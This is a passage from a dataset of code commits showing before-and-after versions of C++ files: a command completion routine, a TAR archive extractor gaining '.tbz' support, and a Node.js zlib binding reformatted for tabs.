command_it = m_commands.find(*begin);\n if (command_it == m_commands.end())\n throw command_not_found(*begin);\n\n command_it->second.command(CommandParameters(begin + 1, end), context);\n }\n\n if (end == params.end())\n break;\n\n begin = end+1;\n end = begin;\n }\n}\n\nCompletions CommandManager::complete(const std::string& command_line, size_t cursor_pos)\n{\n TokenList tokens = split(command_line);\n\n size_t token_to_complete = tokens.size();\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n if (tokens[i].first <= cursor_pos and tokens[i].second >= cursor_pos)\n {\n token_to_complete = i;\n break;\n }\n }\n\n if (token_to_complete == 0 or tokens.empty()) \/\/ command name completion\n {\n size_t cmd_start = tokens.empty() ? 0 : tokens[0].first;\n Completions result(cmd_start, cursor_pos);\n std::string prefix = command_line.substr(cmd_start,\n cursor_pos - cmd_start);\n\n for (auto& command : m_commands)\n {\n if (command.first.substr(0, prefix.length()) == prefix)\n result.candidates.push_back(command.first);\n }\n\n return result;\n }\n\n assert(not tokens.empty());\n std::string command_name =\n command_line.substr(tokens[0].first,\n tokens[0].second - tokens[0].first);\n\n auto command_it = m_commands.find(command_name);\n if (command_it == m_commands.end() or not command_it->second.completer)\n return Completions();\n\n CommandParameters params;\n for (auto it = tokens.begin() + 1; it != tokens.end(); ++it)\n {\n params.push_back(command_line.substr(it->first,\n it->second - it->first));\n }\n\n size_t start = token_to_complete < tokens.size() ?\n tokens[token_to_complete].first : cursor_pos;\n Completions result(start , cursor_pos);\n size_t cursor_pos_in_token = cursor_pos - start;\n\n result.candidates = command_it->second.completer(params,\n token_to_complete - 1,\n cursor_pos_in_token);\n return result;\n}\n\nCandidateList PerArgumentCommandCompleter::operator()(const CommandParameters& params,\n size_t token_to_complete,\n size_t pos_in_token) const\n{\n if (token_to_complete >= m_completers.size())\n return CandidateList();\n\n \/\/ it is possible to try to complete a new argument\n assert(token_to_complete <= params.size());\n\n const std::string& argument = token_to_complete < params.size() ?\n params[token_to_complete] : std::string();\n return m_completers[token_to_complete](argument, pos_in_token);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"io_utar.h\"\n#include \"logger.h\"\n#include <fstream>\n#include <cmath>\n#include <cstdint>\n#include <boost\/iostreams\/device\/file.hpp>\n#include <boost\/iostreams\/filtering_stream.hpp>\n#include <boost\/iostreams\/filter\/gzip.hpp>\n#include <boost\/iostreams\/filter\/bzip2.hpp>\n#include <boost\/iostreams\/stream.hpp>\n#include <boost\/iostreams\/device\/array.hpp>\n#include <boost\/algorithm\/string.hpp>\n\nnamespace ncv\n{\n \/\/ http:\/\/techoverflow.net\/blog\/2013\/03\/29\/reading-tar-files-in-c\/\n\n namespace\n {\n using std::int64_t;\n using std::uint64_t;\n\n \/\/\/\n \/\/\/ \\brief convert an ascii digit to the corresponding number (assuming it is an ASCII digit)\n \/\/\/\n uint64_t ascii_to_number(unsigned char num)\n {\n return ((num) - 48);\n }\n\n \/\/\/\n \/\/\/ \\brief decode a TAR octal number. ignores everything after the first NUL or space character.\n \/\/\/\n uint64_t decode_tar_octal(const char* data, size_t size = 12)\n {\n const unsigned char* currentPtr = (const unsigned char*)data + size;\n\n const unsigned char* checkPtr = currentPtr;\n for (; checkPtr >= (const unsigned char*) data; checkPtr --)\n {\n if ((*checkPtr) == 0 || (*checkPtr) == ' ')\n {\n currentPtr = checkPtr - 1;\n }\n }\n\n uint64_t sum = 0;\n uint64_t currentMultiplier = 1;\n for (; currentPtr >= (const unsigned char*)data; currentPtr --)\n {\n sum += ascii_to_number(*currentPtr) * currentMultiplier;\n currentMultiplier *= 8;\n }\n\n return sum;\n }\n\n struct TARFileHeader\n {\n char filename[100];\n char mode[8];\n char uid[8];\n char gid[8];\n char fileSize[12];\n char lastModification[12];\n char checksum[8];\n char typeFlag;\n char linkedFileName[100];\n char ustarIndicator[6];\n char ustarVersion[2];\n char ownerUserName[32];\n char ownerGroupName[32];\n char deviceMajorNumber[8];\n char deviceMinorNumber[8];\n char filenamePrefix[155];\n char padding[12];\n\n size_t filesize() const\n {\n return decode_tar_octal(fileSize);\n }\n };\n }\n\n namespace\n {\n bool io_untar(\n boost::iostreams::filtering_istream& in, const io::untar_callback_t& callback,\n const std::string& info_header, const std::string& error_header)\n {\n char zeroBlock[512];\n memset(zeroBlock, 0, 512);\n\n bool nextEntryHasLongName = false;\n while (in)\n {\n TARFileHeader header;\n in.read((char*)&header, 512);\n if (memcmp(&header, zeroBlock, 512) == 0)\n {\n log_info() << info_header << \"found TAR end.\";\n break;\n }\n\n \/\/ compose the filename\n std::string filename(header.filename, std::min((size_t)100, strlen(header.filename)));\n const size_t prefixLength = strlen(header.filenamePrefix);\n if (prefixLength > 0)\n {\n filename =\n std::string(header.filenamePrefix, std::min((size_t)155, prefixLength)) +\n \"\/\" +\n filename;\n }\n\n if (header.typeFlag == '0' || header.typeFlag == 0)\n {\n \/\/ handle GNU TAR long filenames\n if (nextEntryHasLongName)\n {\n filename = std::string(header.filename);\n in.read((char*) &header, 512);\n nextEntryHasLongName = false;\n }\n\n const size_t size = header.filesize();\n log_info() << info_header << \"found file <\" << filename << \"> (\" << size << \" bytes).\";\n\n \/\/Read the file into memory\n \/\/ This won't work for very large files -- use streaming methods there!\n {\n std::vector<unsigned char> filedata(size);\n\n char* const pdata = reinterpret_cast<char*>(filedata.data());\n in.read(pdata, size);\n\n \/\/ decode archive type\n if ( boost::algorithm::iends_with(filename, \".tar.gz\") ||\n boost::algorithm::iends_with(filename, \".tgz\"))\n {\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::gzip_decompressor());\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else if (boost::algorithm::iends_with(filename, \".tar.bz2\"))\n {\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::bzip2_decompressor());\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else if (boost::algorithm::iends_with(filename, \".tar\"))\n {\n \/\/ no decompression filter needed\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else\n {\n callback(filename, filedata);\n }\n }\n\n \/\/ ignore padding\n const size_t paddingBytes = (512 - (size % 512)) % 512;\n in.ignore(paddingBytes);\n }\n\n else if (header.typeFlag == '5')\n {\n log_info() << info_header << \"found directory <\" << filename << \">.\";\n }\n\n else if(header.typeFlag == 'L')\n {\n nextEntryHasLongName = true;\n }\n\n else\n {\n log_info() << info_header << \"found unhandled TAR entry type <\" << header.typeFlag << \">.\";\n }\n }\n\n \/\/ OK\n return true;\n }\n }\n\n bool io::untar(\n const std::string& path, const untar_callback_t& callback,\n const std::string& info_header, const std::string& error_header)\n {\n std::ifstream fin(path.c_str(), std::ios_base::in | std::ios_base::binary);\n if (!fin.is_open())\n {\n log_error() << error_header << \"failed to open file <\" << path << \">!\";\n return false;\n }\n\n boost::iostreams::filtering_istream in;\n\n \/\/ decode archive type\n if ( boost::algorithm::iends_with(path, \".tar.gz\") ||\n boost::algorithm::iends_with(path, \".tgz\"))\n {\n in.push(boost::iostreams::gzip_decompressor());\n }\n else if (boost::algorithm::iends_with(path, \".tar.bz2\"))\n {\n in.push(boost::iostreams::bzip2_decompressor());\n }\n else if (boost::algorithm::iends_with(path, \".tar\"))\n {\n \/\/ no decompression filter needed\n }\n else if (boost::algorithm::iends_with(path, \".gz\"))\n {\n in.push(boost::iostreams::gzip_decompressor());\n in.push(fin);\n\n std::vector<unsigned char> filedata;\n\n const size_t chunk = 4096;\n char data[chunk];\n\n std::streamsize read_size;\n while ((read_size = boost::iostreams::read(in, data, chunk)) > 0)\n {\n filedata.insert(filedata.end(),\n reinterpret_cast<const unsigned char*>(data),\n reinterpret_cast<const unsigned char*>(data) + read_size);\n }\n\n callback(path, filedata);\n return true;\n }\n else\n {\n log_error() << error_header << \"unknown file suffix <\" << path << \">!\";\n return false;\n }\n\n in.push(fin);\n\n return io_untar(in, callback, info_header, error_header);\n }\n}\n<commit_msg>also handle tbz extensions<commit_after>#include \"io_utar.h\"\n#include \"logger.h\"\n#include <fstream>\n#include <cmath>\n#include <cstdint>\n#include <boost\/iostreams\/device\/file.hpp>\n#include <boost\/iostreams\/filtering_stream.hpp>\n#include <boost\/iostreams\/filter\/gzip.hpp>\n#include <boost\/iostreams\/filter\/bzip2.hpp>\n#include <boost\/iostreams\/stream.hpp>\n#include <boost\/iostreams\/device\/array.hpp>\n#include <boost\/algorithm\/string.hpp>\n\nnamespace ncv\n{\n \/\/ http:\/\/techoverflow.net\/blog\/2013\/03\/29\/reading-tar-files-in-c\/\n\n namespace\n {\n using std::int64_t;\n using std::uint64_t;\n\n \/\/\/\n \/\/\/ \\brief convert an ascii digit to the corresponding number (assuming it is an ASCII digit)\n \/\/\/\n uint64_t ascii_to_number(unsigned char num)\n {\n return ((num) - 48);\n }\n\n \/\/\/\n \/\/\/ \\brief decode a TAR octal number. ignores everything after the first NUL or space character.\n \/\/\/\n uint64_t decode_tar_octal(const char* data, size_t size = 12)\n {\n const unsigned char* currentPtr = (const unsigned char*)data + size;\n\n const unsigned char* checkPtr = currentPtr;\n for (; checkPtr >= (const unsigned char*) data; checkPtr --)\n {\n if ((*checkPtr) == 0 || (*checkPtr) == ' ')\n {\n currentPtr = checkPtr - 1;\n }\n }\n\n uint64_t sum = 0;\n uint64_t currentMultiplier = 1;\n for (; currentPtr >= (const unsigned char*)data; currentPtr --)\n {\n sum += ascii_to_number(*currentPtr) * currentMultiplier;\n currentMultiplier *= 8;\n }\n\n return sum;\n }\n\n struct TARFileHeader\n {\n char filename[100];\n char mode[8];\n char uid[8];\n char gid[8];\n char fileSize[12];\n char lastModification[12];\n char checksum[8];\n char typeFlag;\n char linkedFileName[100];\n char ustarIndicator[6];\n char ustarVersion[2];\n char ownerUserName[32];\n char ownerGroupName[32];\n char deviceMajorNumber[8];\n char deviceMinorNumber[8];\n char filenamePrefix[155];\n char padding[12];\n\n size_t filesize() const\n {\n return decode_tar_octal(fileSize);\n }\n };\n }\n\n namespace\n {\n bool io_untar(\n boost::iostreams::filtering_istream& in, const io::untar_callback_t& callback,\n const std::string& info_header, const std::string& error_header)\n {\n char zeroBlock[512];\n memset(zeroBlock, 0, 512);\n\n bool nextEntryHasLongName = false;\n while (in)\n {\n TARFileHeader header;\n in.read((char*)&header, 512);\n if (memcmp(&header, zeroBlock, 512) == 0)\n {\n log_info() << info_header << \"found TAR end.\";\n break;\n }\n\n \/\/ compose the filename\n std::string filename(header.filename, std::min((size_t)100, strlen(header.filename)));\n const size_t prefixLength = strlen(header.filenamePrefix);\n if (prefixLength > 0)\n {\n filename =\n std::string(header.filenamePrefix, std::min((size_t)155, prefixLength)) +\n \"\/\" +\n filename;\n }\n\n if (header.typeFlag == '0' || header.typeFlag == 0)\n {\n \/\/ handle GNU TAR long filenames\n if (nextEntryHasLongName)\n {\n filename = std::string(header.filename);\n in.read((char*) &header, 512);\n nextEntryHasLongName = false;\n }\n\n const size_t size = header.filesize();\n log_info() << info_header << \"found file <\" << filename << \"> (\" << size << \" bytes).\";\n\n \/\/Read the file into memory\n \/\/ This won't work for very large files -- use streaming methods there!\n {\n std::vector<unsigned char> filedata(size);\n\n char* const pdata = reinterpret_cast<char*>(filedata.data());\n in.read(pdata, size);\n\n \/\/ decode archive type\n if ( boost::algorithm::iends_with(filename, \".tar.gz\") ||\n boost::algorithm::iends_with(filename, \".tgz\"))\n {\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::gzip_decompressor());\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else if (boost::algorithm::iends_with(filename, \".tar.bz2\") ||\n boost::algorithm::iends_with(filename, \".tbz\"))\n {\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::bzip2_decompressor());\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else if (boost::algorithm::iends_with(filename, \".tar\"))\n {\n \/\/ no decompression filter needed\n boost::iostreams::filtering_istream in_;\n in_.push(boost::iostreams::basic_array_source<char>(pdata, filedata.size()));\n if (!io_untar(in_, callback, info_header, error_header))\n {\n return false;\n }\n }\n else\n {\n callback(filename, filedata);\n }\n }\n\n \/\/ ignore padding\n const size_t paddingBytes = (512 - (size % 512)) % 512;\n in.ignore(paddingBytes);\n }\n\n else if (header.typeFlag == '5')\n {\n log_info() << info_header << \"found directory <\" << filename << \">.\";\n }\n\n else if(header.typeFlag == 'L')\n {\n nextEntryHasLongName = true;\n }\n\n else\n {\n log_info() << info_header << \"found unhandled TAR entry type <\" << header.typeFlag << \">.\";\n }\n }\n\n \/\/ OK\n return true;\n }\n }\n\n bool io::untar(\n const std::string& path, const untar_callback_t& callback,\n const std::string& info_header, const std::string& error_header)\n {\n std::ifstream fin(path.c_str(), std::ios_base::in | std::ios_base::binary);\n if (!fin.is_open())\n {\n log_error() << error_header << \"failed to open file <\" << path << \">!\";\n return false;\n }\n\n boost::iostreams::filtering_istream in;\n\n \/\/ decode archive type\n if ( boost::algorithm::iends_with(path, \".tar.gz\") ||\n boost::algorithm::iends_with(path, \".tgz\"))\n {\n in.push(boost::iostreams::gzip_decompressor());\n }\n else if (boost::algorithm::iends_with(path, \".tar.bz2\") ||\n boost::algorithm::iends_with(path, \".tbz\"))\n {\n in.push(boost::iostreams::bzip2_decompressor());\n }\n else if (boost::algorithm::iends_with(path, \".tar\"))\n {\n \/\/ no decompression filter needed\n }\n else if (boost::algorithm::iends_with(path, \".gz\"))\n {\n in.push(boost::iostreams::gzip_decompressor());\n in.push(fin);\n\n std::vector<unsigned char> filedata;\n\n const size_t chunk = 4096;\n char data[chunk];\n\n std::streamsize read_size;\n while ((read_size = boost::iostreams::read(in, data, chunk)) > 0)\n {\n filedata.insert(filedata.end(),\n reinterpret_cast<const unsigned char*>(data),\n reinterpret_cast<const unsigned char*>(data) + read_size);\n }\n\n callback(path, filedata);\n return true;\n }\n else\n {\n log_error() << error_header << \"unknown file suffix <\" << path << \">!\";\n return false;\n }\n\n in.push(fin);\n\n return io_untar(in, callback, info_header, error_header);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <node.h>\n#include <node_buffer.h>\n#include <string.h>\n#include <v8.h>\n#include <math.h>\n#include <stdlib.h>\n#include <assert.h>\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#endif\n#include <zlib.h>\n\n\/\/ zlib magic something\n#define WBITS 16+MAX_WBITS\n#define WBITS_RAW -15\n\n#define CHUNK 1024*100\n#define HEADER_SIZE 10\n#define FOOTER_SIZE 8\n#define SPACER_SIZE 6\n\n\nusing namespace v8;\nusing namespace node;\n\nstatic Persistent<String> SYM_BODY;\nstatic Persistent<String> SYM_LEFT;\nstatic Persistent<String> SYM_RIGHT;\nstatic Persistent<String> SYM_LAST;\nstatic Persistent<String> SYM_TYPE;\nstatic Persistent<String> SYM_OFFSETS;\nstatic Persistent<String> SYM_LENGTH;\nstatic Persistent<String> SYM_RAW_LENGTH;\nstatic Persistent<String> SYM_CRC;\nstatic Persistent<String> SYM_META;\nstatic Persistent<String> SYM_BUFFERS;\nstatic Persistent<String> SYM_HEADER;\nstatic Persistent<String> SYM_ODD;\n\nstatic Handle<Value> ThrowNodeError (const char* what = NULL) {\n\treturn ThrowException(Exception::Error(String::New(what)));\n}\n\nstatic int meta_uncompress (char *dataIn, size_t bytesIn, int *dataType) {\n\tz_stream strmUncompress;\n\n\tstrmUncompress.zalloc = Z_NULL;\n\tstrmUncompress.zfree = Z_NULL;\n\tstrmUncompress.opaque = Z_NULL;\n\tstrmUncompress.avail_in = 0;\n\tstrmUncompress.next_in = Z_NULL;\n\n \/\/this can be further improved!\n \/\/we should only do inflate if the the stream is compressed\n \/\/and header skip should be done earlier\n\tif (inflateInit2(&strmUncompress, WBITS_RAW) != Z_OK) {\n\t\treturn -1;\n\t}\n\n unsigned char *tmp = (unsigned char *) malloc(CHUNK);\n\n \/\/skipping header\n\tstrmUncompress.next_in = ((unsigned char *) dataIn) + HEADER_SIZE;\n\tstrmUncompress.avail_in = bytesIn - HEADER_SIZE;\n\n \/\/checking if stream is compressed, first byte - binary:\n \/\/xxxxx001 - stream is NOT compressed\n \/\/xxxxx011 - stream is compressed (using fixed huffman codes)\n \/\/xxxxx111 - stream is compressed (using dynamic huffman codes)\n if ((*strmUncompress.next_in & 3) == 3 || (*strmUncompress.next_in & 5) == 5) {\n for (;;) {\n strmUncompress.avail_out = CHUNK;\n strmUncompress.next_out = tmp;\n\n int ret = inflate(&strmUncompress, Z_BLOCK);\n\n assert(ret != Z_STREAM_ERROR); \n\n switch (ret) {\n case Z_NEED_DICT:\n ret = Z_DATA_ERROR; \/* and fall through *\/\n case Z_DATA_ERROR:\n case Z_MEM_ERROR:\n inflateEnd(&strmUncompress);\n if (tmp != NULL) {\n free(tmp);\n }\n\n return -2;\n }\n\n if (strmUncompress.data_type & 128) {\n break;\n }\n }\n *dataType = strmUncompress.data_type;\n } else {\n *dataType = 128;\n }\n\n\tinflateEnd(&strmUncompress);\n\n return 0;\n\n}\n\nstatic int compress (char *dataIn, size_t bytesIn, int compressionLevel, char **dataOut, size_t *bytesOut) {\n\tsize_t bytesDeflated = 0;\n\n if (compressionLevel < 0 || compressionLevel > 9) {\n compressionLevel = Z_DEFAULT_COMPRESSION;\n }\n\n z_stream strmCompress;\n\tstrmCompress.zalloc = Z_NULL;\n\tstrmCompress.zfree = Z_NULL;\n\tstrmCompress.opaque = Z_NULL;\n\n\tif (deflateInit2(&strmCompress, compressionLevel, Z_DEFLATED, WBITS, 8L, Z_DEFAULT_STRATEGY) != Z_OK) {\n\t\treturn -1;\n\t}\n\n\tbytesDeflated = deflateBound(&strmCompress, bytesIn);\n\n\tif (bytesDeflated < 1024) {\n\t\tbytesDeflated = 1024;\n\t}\n\n\t*dataOut = (char *) malloc(bytesDeflated);\n\n\tstrmCompress.next_in = (Bytef *) dataIn;\n\tstrmCompress.avail_in = bytesIn;\n\tstrmCompress.next_out = (Bytef *) *dataOut;\n\tstrmCompress.avail_out = bytesDeflated;\n\n\tif (deflate(&strmCompress, Z_NO_FLUSH) < Z_OK) {\n\t\tdeflateReset(&strmCompress);\n\t\treturn -2;\n\t}\n\n\tdeflate(&strmCompress, Z_FINISH);\n\n\t*bytesOut = strmCompress.total_out;\n\n\tdeflateReset(&strmCompress);\n\n return 0;\n}\n\nstatic Handle<Value> onet_compress (const Arguments &args) {\n\tHandleScope scope;\n\n int compressionLevel = Z_DEFAULT_COMPRESSION;\n\n\tif (args.Length() < 1) {\n\t\treturn Undefined();\n\t}\n\n\tif (!Buffer::HasInstance(args[0])) {\n\t\tThrowNodeError(\"First argument must be a Buffer\");\n\t\treturn Undefined();\n\t}\n\n Local<Object> bufferIn = args[0]->ToObject();\n\n if (args.Length() > 1) {\n compressionLevel = args[1]->IntegerValue();\n }\n\n char *dataIn = Buffer::Data(bufferIn);\n size_t bytesIn = Buffer::Length(bufferIn);\n char *dataOut = 0;\n size_t bytesOut = 0;\n int dataType = 0;\n int status = compress(dataIn, bytesIn, compressionLevel, &dataOut, &bytesOut);\n\n if (status != 0) {\n char msg[30];\n sprintf(msg, \"Unable to compress: %d\", status);\n ThrowNodeError(msg);\n return Undefined();\n }\n\n status = meta_uncompress(dataOut, bytesOut, &dataType);\n\n if (status != 0) {\n char msg[30];\n sprintf(msg, \"Unable to uncompress: %d\", status);\n ThrowNodeError(msg);\n return Undefined();\n }\n\n unsigned int dataLength = bytesOut - HEADER_SIZE - FOOTER_SIZE - 1;\n\n Local<Object> result = Object::New();\n\n Buffer *body = Buffer::New((char *) dataOut, bytesOut);\n result->Set(SYM_BODY, body->handle_);\n\n Local<Object> dataOffsets = Object::New();\n dataOffsets->Set(SYM_LEFT, Integer::New(HEADER_SIZE));\n dataOffsets->Set(SYM_RIGHT, Integer::New(HEADER_SIZE + dataLength));\n dataOffsets->Set(SYM_LAST, Integer::New(HEADER_SIZE + dataLength));\n\n Buffer *crc = Buffer::New((char *) dataOut + (bytesOut - FOOTER_SIZE), 4);\n\n Local<Object> meta = Object::New();\n meta->Set(SYM_TYPE, Integer::New(dataType));\n meta->Set(SYM_OFFSETS, dataOffsets);\n meta->Set(SYM_LENGTH, Integer::New(bytesIn));\n meta->Set(SYM_RAW_LENGTH, Integer::New(bytesOut - HEADER_SIZE - FOOTER_SIZE));\n meta->Set(SYM_CRC, crc->handle_);\n\n result->Set(SYM_META, meta);\n\n free(dataOut);\n\n\treturn scope.Close(result);\n}\n\nstatic Handle<Value> compress (const Arguments& args) {\n\tHandleScope scope;\n\n int compressionLevel = Z_DEFAULT_COMPRESSION;\n\n\tif (args.Length() < 1) {\n\t\treturn Undefined();\n\t}\n\n\tif (!Buffer::HasInstance(args[0])) {\n\t\tThrowNodeError(\"First argument must be a Buffer\");\n\t\treturn Undefined();\n\t}\n\n Local<Object> bufferIn = args[0]->ToObject();\n\n if (args.Length() > 1) {\n compressionLevel = args[1]->IntegerValue();\n }\n\n char *dataIn = Buffer::Data(bufferIn);\n size_t bytesIn = Buffer::Length(bufferIn);\n char *dataOut = 0;\n size_t bytesOut = 0;\n int status = compress(dataIn, bytesIn, compressionLevel, &dataOut, &bytesOut);\n\n if (status != 0) {\n ThrowNodeError(\"Unable to compress\");\n return Undefined();\n }\n\n Buffer *buff = Buffer::New(dataOut, bytesOut);\n\n return scope.Close(buff->handle_);\n}\n\nstatic Handle<Value> estimate (const Arguments &args) {\n HandleScope scope;\n\n Local<Array> arr = Local<Array>::Cast(args[0]);\n int i = 0;\n int l = arr->Length();\n int sum = HEADER_SIZE + FOOTER_SIZE + ((l - 1) * SPACER_SIZE);\n\n for(; i < l; i++) {\n Local<Object> obj = arr->Get(i)->ToObject();\n Local<Object> meta = obj->Get(SYM_META)->ToObject();\n\n sum += meta->Get(SYM_RAW_LENGTH)->Uint32Value();\n }\n\n return scope.Close(Integer::New(sum));\n}\n\nstatic unsigned long reverseBytes (unsigned char *buf) {\n unsigned long v;\n\n v = *buf;\n v += (unsigned long) *(buf + 1) << 8;\n v += (unsigned long) *(buf + 2) << 16;\n v += (unsigned long) *(buf + 3) << 24;\n\n return v;\n}\n\nstatic Handle<Value> getCrc (const Arguments &args) {\n HandleScope scope;\n\n unsigned long crc = crc32(0L, Z_NULL, 0);\n unsigned long tot = 0;\n\n Local<Array> arr = Local<Array>::Cast(args[0]);\n \n int l = arr->Length();\n int i = 0;\n\n for (; i < l; i++) {\n Local<Object> obj = arr->Get(i)->ToObject();\n Local<Object> meta = obj->Get(SYM_META)->ToObject();\n\n Local<Object> bufCrc = meta->Get(SYM_CRC)->ToObject();\n\n unsigned long tmpCrc = reverseBytes((unsigned char *) Buffer::Data(bufCrc));\n unsigned long tmpLen = meta->Get(SYM_LENGTH)->Uint32Value();\n\n crc = crc32_combine(crc, tmpCrc, tmpLen);\n tot += tmpLen;\n }\n\n Local<Object> data = Object::New();\n data->Set(SYM_CRC, Buffer::New((char *) &crc, 4)->handle_);\n data->Set(SYM_LENGTH, Buffer::New((char *) &tot, 4)->handle_);\n\n return scope.Close(data);\n}\n\nstatic Handle<Value> uncompress (const Arguments &args) {\n HandleScope scope;\n\n if (args.Length() < 1) {\n return Undefined();\n }\n\n if (!Buffer::HasInstance(args[0])) {\n ThrowNodeError(\"First argument must be a Buffer\");\n return Undefined();\n }\n\n z_stream strmUncompress;\n \n strmUncompress.zalloc=Z_NULL;\n strmUncompress.zfree=Z_NULL;\n strmUncompress.opaque=Z_NULL;\n strmUncompress.avail_in = 0;\n strmUncompress.next_in = Z_NULL;\n\n int rci = inflateInit2(&strmUncompress, WBITS);\n\n if (rci != Z_OK) {\n ThrowNodeError(\"zlib initialization error.\");\n return Undefined();\n }\n \n Local<Object> bufferIn=args[0]->ToObject();\n\n strmUncompress.next_in = (Bytef*) Buffer::Data(bufferIn);\n strmUncompress.avail_in = Buffer::Length(bufferIn);\n\n Bytef *bufferOut = NULL;\n uint32_t malloc_size=0;\n uint32_t currentPosition=0;\n \n int ret; \n \n do {\n Bytef *tmp = (Bytef*)malloc(CHUNK);\n strmUncompress.avail_out = CHUNK;\n strmUncompress.next_out = tmp;\n\n ret = inflate(&strmUncompress, Z_NO_FLUSH);\n assert(ret != Z_STREAM_ERROR); \n switch (ret) {\n case Z_NEED_DICT:\n ret = Z_DATA_ERROR; \/* and fall through *\/\n case Z_DATA_ERROR:\n case Z_MEM_ERROR:\n (void)inflateEnd(&strmUncompress);\n if (bufferOut!=NULL) { \n free(bufferOut);\n } \n if (tmp!=NULL) {\n free(tmp);\n }\n return Undefined();\n }\n \n uint32_t have = CHUNK - strmUncompress.avail_out;\n if (have>0) {\n bufferOut = (Bytef *) realloc(bufferOut, malloc_size+have);\n malloc_size=malloc_size+have;\n }\n \n memcpy(bufferOut+currentPosition, tmp, have);\n currentPosition+=have;\n free(tmp);\n } while (strmUncompress.avail_out == 0 && ret != Z_STREAM_END);\n \n inflateEnd(&strmUncompress);\n\n if (ret != Z_STREAM_END) { \n if (bufferOut!=NULL) { \n free(bufferOut);\n } \n return Undefined();\n }\n\n Buffer *BufferOut=Buffer::New((char *)bufferOut, malloc_size);\n free(bufferOut);\n\n return scope.Close(BufferOut->handle_);\n}\n\nextern \"C\" void init (Handle<Object> target) {\n SYM_BODY = NODE_PSYMBOL(\"body\");\n SYM_LEFT = NODE_PSYMBOL(\"left\");\n SYM_RIGHT = NODE_PSYMBOL(\"right\");\n SYM_LAST = NODE_PSYMBOL(\"last\");\n SYM_TYPE = NODE_PSYMBOL(\"type\");\n SYM_OFFSETS = NODE_PSYMBOL(\"offsets\");\n SYM_LENGTH = NODE_PSYMBOL(\"length\");\n SYM_RAW_LENGTH = NODE_PSYMBOL(\"rawLength\");\n SYM_CRC = NODE_PSYMBOL(\"crc\");\n SYM_META = NODE_PSYMBOL(\"meta\");\n SYM_BUFFERS = NODE_PSYMBOL(\"buffers\");\n SYM_HEADER = NODE_PSYMBOL(\"header\");\n SYM_ODD = NODE_PSYMBOL(\"odd\");\n\n char header[] = {0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff};\n Buffer *headerBuffer = Buffer::New(header, 10);\n\n char odd[] = {0x00, 0x00, 0xff, 0xff};\n Buffer *oddBuffer = Buffer::New(odd, 4);\n\n Handle<Object> buffers = Object::New();\n buffers->Set(SYM_HEADER, headerBuffer->handle_);\n buffers->Set(SYM_ODD, oddBuffer->handle_);\n\n target->Set(SYM_BUFFERS, buffers);\n\n\tNODE_SET_METHOD(target, \"compress\", compress);\n\tNODE_SET_METHOD(target, \"uncompress\", uncompress);\n NODE_SET_METHOD(target, \"metaCompress\", onet_compress);\n\tNODE_SET_METHOD(target, \"getCrc\", getCrc);\n\tNODE_SET_METHOD(target, \"estimate\", estimate);\n\n}\n\nNODE_MODULE(compress_buffer_bindings, init);\n\n<commit_msg>retab<commit_after>#include <node.h>\n#include <node_buffer.h>\n#include <string.h>\n#include <v8.h>\n#include <math.h>\n#include <stdlib.h>\n#include <assert.h>\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#endif\n#include <zlib.h>\n\n\/\/ zlib magic something\n#define WBITS 16+MAX_WBITS\n#define WBITS_RAW -15\n\n#define CHUNK 1024*100\n#define HEADER_SIZE 10\n#define FOOTER_SIZE 8\n#define SPACER_SIZE 6\n\n\nusing namespace v8;\nusing namespace node;\n\nstatic Persistent<String> SYM_BODY;\nstatic Persistent<String> SYM_LEFT;\nstatic Persistent<String> SYM_RIGHT;\nstatic Persistent<String> SYM_LAST;\nstatic Persistent<String> SYM_TYPE;\nstatic Persistent<String> SYM_OFFSETS;\nstatic Persistent<String> SYM_LENGTH;\nstatic Persistent<String> SYM_RAW_LENGTH;\nstatic Persistent<String> SYM_CRC;\nstatic Persistent<String> SYM_META;\nstatic Persistent<String> SYM_BUFFERS;\nstatic Persistent<String> SYM_HEADER;\nstatic Persistent<String> SYM_ODD;\n\nstatic Handle<Value> ThrowNodeError (const char* what = NULL) {\n return ThrowException(Exception::Error(String::New(what)));\n}\n\nstatic int meta_uncompress (char *dataIn, size_t bytesIn, int *dataType) {\n z_stream strmUncompress;\n\n strmUncompress.zalloc = Z_NULL;\n strmUncompress.zfree = Z_NULL;\n strmUncompress.opaque = Z_NULL;\n strmUncompress.avail_in = 0;\n strmUncompress.next_in = Z_NULL;\n\n \/\/this can be further improved!\n \/\/we should only do inflate if the the stream is compressed\n \/\/and header skip should be done earlier\n if (inflateInit2(&strmUncompress, WBITS_RAW) != Z_OK) {\n return -1;\n }\n\n unsigned char *tmp = (unsigned char *) malloc(CHUNK);\n\n \/\/skipping header\n strmUncompress.next_in = ((unsigned char *) dataIn) + HEADER_SIZE;\n strmUncompress.avail_in = bytesIn - HEADER_SIZE;\n\n \/\/checking if stream is compressed, first byte - binary:\n \/\/xxxxx001 - stream is NOT compressed\n \/\/xxxxx011 - stream is compressed (using fixed huffman codes)\n \/\/xxxxx111 - stream is compressed (using dynamic huffman codes)\n if ((*strmUncompress.next_in & 3) == 3 || (*strmUncompress.next_in & 5) == 5) {\n for (;;) {\n strmUncompress.avail_out = CHUNK;\n strmUncompress.next_out = tmp;\n\n int ret = inflate(&strmUncompress, Z_BLOCK);\n\n assert(ret != Z_STREAM_ERROR); \n\n switch (ret) {\n case Z_NEED_DICT:\n ret = Z_DATA_ERROR; \/* and fall through *\/\n 